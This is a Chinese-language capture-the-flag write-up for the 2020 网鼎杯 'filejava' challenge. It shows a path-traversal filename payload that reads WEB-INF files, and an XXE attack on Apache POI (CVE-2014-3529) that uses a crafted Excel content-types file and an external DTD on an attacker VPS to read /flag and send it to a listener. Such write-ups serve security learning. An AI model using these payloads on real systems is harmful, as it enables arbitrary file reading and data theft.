网鼎杯-2020-青龙组-filejava
摘要
[网鼎杯 2020 青龙组] filejava webinf
[xml 注入详解](https://www.cnblogs.com/backlion/p/9302528.html)
DownloadServlet 负责处理下载逻辑,测试目录穿越:
tomcat 报错,并爆出webinf路径,
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/15/6/.. (Is a directory)
WEB-INF
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
如果想在页面中直接访问其中的文件,必须通过 web.xml 对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml
Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。对后端逻辑进行映射,也可以考虑为路由设置。
/WEB-INF/classes/
包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中(是该目录不能包含在.jar文件中)。通过反编译,可以得到泄露的java源码。
/WEB-INF/lib/
存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。
/WEB-INF/src/
源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties
数据库配置文件
/WEB-INF/tags/
存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix=”tags” tagdir=”/WEB-INF /simpleTags” % >。
/WEB-INF/jsp/
jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。
/WEB-INF/jsp2/
与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。
META-INF
相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务
manifest.mf文件,在用jar打包时自动生成。
反编译
1 | ?filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml |
1 | <?xml version="1.0" encoding="UTF-8"?> |
可以看到路由以及对应的servlet配置
1 | ?filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class |
依次拿到字节码文件,使用jd-gui
进行反编译
CVE-2014-3529
这里是主要的漏洞点,提示了poi-ooxml-3.10
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3529
Apache POI 3.10.1之前版本中的OPC SAX设置允许远程攻击者通过包含XML外部实体声明和实体引用的OpenXML文件读取任意文件,该文件与XML外部实体(XXE)问题有关。
这里解析的是excel文件
excel 与 xml
https://www.cnblogs.com/tinytiny/p/3356900.html
Excel底层的工作空间和保存数据的形式就是用的XML格式的数据,你可以把.xls后缀或.xlsx后缀改为任意一种压缩格式的后缀(.rar .zip)试试
解析excel,就要解析其中的xml,而POI 3.10.1允许了在其中进行外部DTD包含,导致注入
attack
修改 [Content_Types].xml
1 | <!DOCTYPE convert [ |
在vps上放置一个dtd
1 | <!ENTITY % file SYSTEM "file:///flag"> |
在7777起监听,接收flag:
网鼎杯-2020-青龙组-filejava